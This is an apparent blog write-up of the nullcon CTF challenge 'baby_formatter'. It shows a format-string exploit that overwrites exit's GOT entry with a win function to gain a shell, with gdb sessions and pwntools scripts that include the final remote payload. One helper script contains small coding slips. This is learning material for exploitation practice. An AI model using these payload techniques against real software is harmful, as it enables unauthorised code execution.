I always hated the formatted strings bugs or never understood it concisely, Therefore I’m writing to explain myself when I took out the challenge of nullcon ctf, baby_formatter.

lets start with analyzing the binary with our file command as we can see that our binary is 64 bit and dynamically linked

1
2
└─$ file baby_formatter 
baby_formatter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f9112e0876c218b75aa58a45c20ed0308f5da722, for GNU/Linux 3.2.0, not stripped

lets checksec the binary and see what are the mitigations implemented into the binary. Great we can see partial RELRO is present which means the GOT is above the program variables and NX enabled which means out own shellcode can’t be injected into the binary.

1
2
3
4
5
6
7
└─$ pwn checksec baby_formatter
[*] '/home/kali/baby_formatter'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Now lets open our file in ghidra to see what our binary for the interesting functions. When we open our on the left, we can see the symbol table where we have two interesting functions. main and win

alt text

When we open the main function in the ghidra decompiler, we can see that we have a local variable local_78 which take value from standard input and print out when the printf function is called. Apart from that we can confirm that the author has implement the proper size check which will not cause the buffer to overflow. And also the program will never return since we have a exit(1) function which is FUN_004010e0(1). what can we do now ?

alt text

As we can see that it takes input and return the input to the output with printf as we see in ghidra and prints bye! then exit(1)

alt text

Now if we give our input as %d we can see that we get unexpected output -129881392

alt text

now lets display our value in hexadecimal by using %x and now this time we give multiple %x %x %x we see we get hex output now lets go further and add 4 ‘A’ and form a payload like

AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x we can see that we have 41414141 which is the exact replica of AAAA in hexadecimal. Which means we can read the values somewhere on the stack by insert our own data using C formatter

alt text

In printf there is a formatter which helps in executing function $n, now if our function return want to write the return function the value we want may something like /bin/bash. Now lets go back ghidra and check for the functions where we can execute /bin/bash. Fortunately we have a function where we can write invoke /bin/bash, now let grep the function address of win.

alt text

we can execute objdump to grep the win function address

1
2
3
└─$ objdump -t ./baby_formatter| grep win    
00000000004011d6 g F .text 0000000000000047 win

Now we need to know where our return function or the last exit function of the program.

lets open our gdb and try to find our exit function exit(1), we can see that we have a exit@plt. Disassemble the main exit@plt function, we can see that it jumps to exit@got address 0x404040.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> disass main
Dump of assembler code for function main:
0x000000000040121d <+0>: endbr64
0x0000000000401221 <+4>: push rbp
0x0000000000401222 <+5>: mov rbp,rsp
0x0000000000401225 <+8>: add rsp,0xffffffffffffff80
0x0000000000401229 <+12>: mov rax,QWORD PTR fs:0x28
....
0x00000000004012be <+161>: mov rdi,rax
0x00000000004012c1 <+164>: mov eax,0x0
0x00000000004012c6 <+169>: call 0x4010a0 <printf@plt>
0x00000000004012cb <+174>: lea rax,[rip+0xdab] # 0x40207d
0x00000000004012d2 <+181>: mov rdi,rax
0x00000000004012d5 <+184>: call 0x401090 <puts@plt>
0x00000000004012da <+189>: mov edi,0x1
0x00000000004012df <+194>: call 0x4010e0 <exit@plt>
End of assembler dump.
pwndbg> disass 0x4010e0
Dump of assembler code for function exit@plt:
0x00000000004010e0 <+0>: endbr64
0x00000000004010e4 <+4>: bnd jmp QWORD PTR [rip+0x2f55] # 0x404040 <exit@got.plt>
0x00000000004010eb <+11>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
pwndbg> x 0x404040
0x404040 <exit@got.plt>: 0x00401080

Now lets set a break point break *0x4010e0 in exit@plt entry, now run the program input anything, when the break point hits. Lets access memory of our exit@got.plt, x 0x404040 and set the memory of the address 0x404040 to our win function address 0x0411d6 then access the memory of address 0x404040 again to check the value is modified by our win address 0x0411d6, continue the function we get win.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> disass 0x4010e0
Dump of assembler code for function exit@plt:
=> 0x00000000004010e0 <+0>: endbr64
0x00000000004010e4 <+4>: bnd jmp QWORD PTR [rip+0x2f55] # 0x404040 <exit@got.plt>
0x00000000004010eb <+11>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
pwndbg> x 0x404040
0x404040 <exit@got.plt>: 0x00401080
pwndbg> set {int}0x404040=0x4011d6
pwndbg> x 0x404040
0x404040 <exit@got.plt>: 0x004011d6
pwndbg> c
Continuing.
huh? how did you find me???
oh well here is your shellprocess 276363 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4010e0

Now our goal is clear and concise that somehow we have to overwrite the exit address of the got.exit function to our win function, how can we process with it. umm lets use pwn tools this time and automate manual stuff below script will print index along with reflected ‘A’s or ‘41’s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = "error"

for i in range(20):
try:
target = process("./baby_formatter")
payload = f'b"AAAAAAAA.%{i}$p'
target.sendlineafter(b"\n",payload)
print(target.recvall(),i)
target.close
except:
pass

Now if we convert our win address to decimal which is 4198870 . let us crafted the payload

payload = (b”%4198870x%10$nAA”) + pack(elf.got.exit)
%4198870x — padding

%10$n - overwriting the value at 10 offset since our value main offset is 8 and next 2 offset of 16 bytes is use to overwrite the address

pack(elf.got.exit) — got.exit address

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level = "error"

elf = context.binary = ELF("./baby_formatter")
ip = targetip
port = targetport
io = remote(ip,port)
payload = (b"%4198870x%10$nAA") + pack(elf.got.exit)
io.sendline(payload)
io.interactive()

executing we will get the flag

alt text

2024-03-16

⬆︎TOP